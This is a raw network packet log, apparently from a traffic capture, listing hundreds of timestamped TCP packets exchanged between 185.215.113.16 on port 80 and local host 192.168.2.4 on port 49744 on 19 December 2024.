Dec 19, 2024 07:56:49.152776003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.152838945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.152920961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.153929949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.153984070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.154019117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.154989004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.155041933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.155112028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.156128883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.156183004 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.156241894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.157258987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.157311916 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.157354116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.158338070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.158390045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.158390999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.159452915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.159507036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.159578085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.160615921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.160669088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.160716057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.161695957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.161731005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.161755085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.162781954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.162841082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.162910938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.163944960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.164000034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.208985090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.209156990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.209249973 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.209451914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.209619045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.209676027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.209727049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.210719109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.210777998 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.210866928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.211854935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.211920023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.211962938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.212973118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.213037014 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.213078976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.214097977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.214155912 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.214209080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.215213060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.215267897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.215281963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.216315031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.216351032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.216383934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.217441082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.217525959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.217614889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.218533039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.218597889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.218658924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.219660044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.219727993 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.276150942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.276185036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.276367903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.276401043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.276513100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.276577950 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.277556896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.277674913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.277730942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.278623104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.278738022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.278805017 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.279827118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.279910088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.279970884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.280841112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.280958891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.281019926 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.281969070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.282066107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.282120943 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.283082008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.283206940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.283261061 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.284224033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.284349918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.284405947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.285356045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.285490990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.285551071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.286451101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.286537886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.286602020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.287575006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.287659883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.287724972 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.288619041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.288695097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.288758039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.289685011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.289796114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.289860964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.290776968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.290903091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.290957928 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.291845083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.291996956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.292064905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.292921066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.293042898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.293107986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.294008970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.294162989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.294219971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.295084000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.295193911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.295253038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.296159983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.296258926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.296312094 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.297249079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.297355890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.297411919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.298383951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.298495054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.298566103 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.299433947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.299531937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.299588919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.300496101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.300545931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.300601959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.301606894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.301680088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.301733017 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.302694082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.302819014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.302875996 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.303761959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.303862095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.303966999 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.304888964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.304923058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.304981947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.305901051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.305998087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.306056976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.306999922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.307115078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.307178020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.308095932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.308192015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.308249950 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.309170961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.309329033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.309387922 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.310287952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.310400963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.310461998 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.311465979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.311508894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.311569929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.343044043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.343108892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.343204021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.343533039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.343674898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.343839884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.344523907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.344641924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.344702005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.345561981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.345617056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.345668077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.346539021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.346662045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.346719980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.347543001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.347676992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.347732067 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.348547935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.348675966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.348751068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.348864079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.349540949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.349594116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.349668026 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.350600958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.350724936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.350776911 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.351522923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.351650000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.351702929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.400985956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.401091099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.401257992 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.401458025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.401547909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.401607037 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.402426958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.402551889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.402616978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.403449059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.403568983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.403624058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.404454947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.404639959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.404695034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.405494928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.405595064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.405644894 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.406429052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.406558037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.406610012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.407439947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.407552004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.407603025 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.408459902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.408543110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.408595085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.409418106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.409518957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.409574986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.468717098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.468755960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.468813896 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.469110012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.469188929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.469238997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.470076084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.470191956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.470242977 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.471076965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.471131086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.471179008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.472079039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.472186089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.472228050 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.473037958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.473176956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.473220110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.474056005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.474163055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.474206924 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.475052118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.475181103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.475230932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.476036072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.476155043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.476207018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.477060080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.477202892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.477253914 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.478044987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.478207111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.478254080 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.479031086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.479155064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.479203939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.480062962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.480165005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.480211020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.481043100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.481182098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.481225014 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.482038021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.482171059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.482213020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.483031988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.483145952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.483191967 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.484008074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.484200954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.484247923 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.485018015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.485158920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.485213041 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.486052990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.486185074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.486231089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.487046957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.487176895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.487220049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.488015890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.488117933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.488161087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.489017963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.489197016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.489238977 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.489996910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.490106106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.490151882 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.491044044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.491096020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.491143942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.491997957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.492127895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.492177963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.492990971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.493100882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.493143082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.493977070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.494103909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.494153023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.494998932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.495125055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.495176077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.496015072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.496128082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.496174097 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.496999025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.497131109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.497173071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.497970104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.498111963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.498153925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.498987913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.499114037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.499174118 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.500159979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.500288010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.500339031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.500952959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.535152912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.535197973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.535208941 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.535510063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.535557032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.535630941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.536571026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.536616087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.536638021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.537561893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.537610054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.537652016 CET	80	49744	185.215.113.16	192.168.2.4
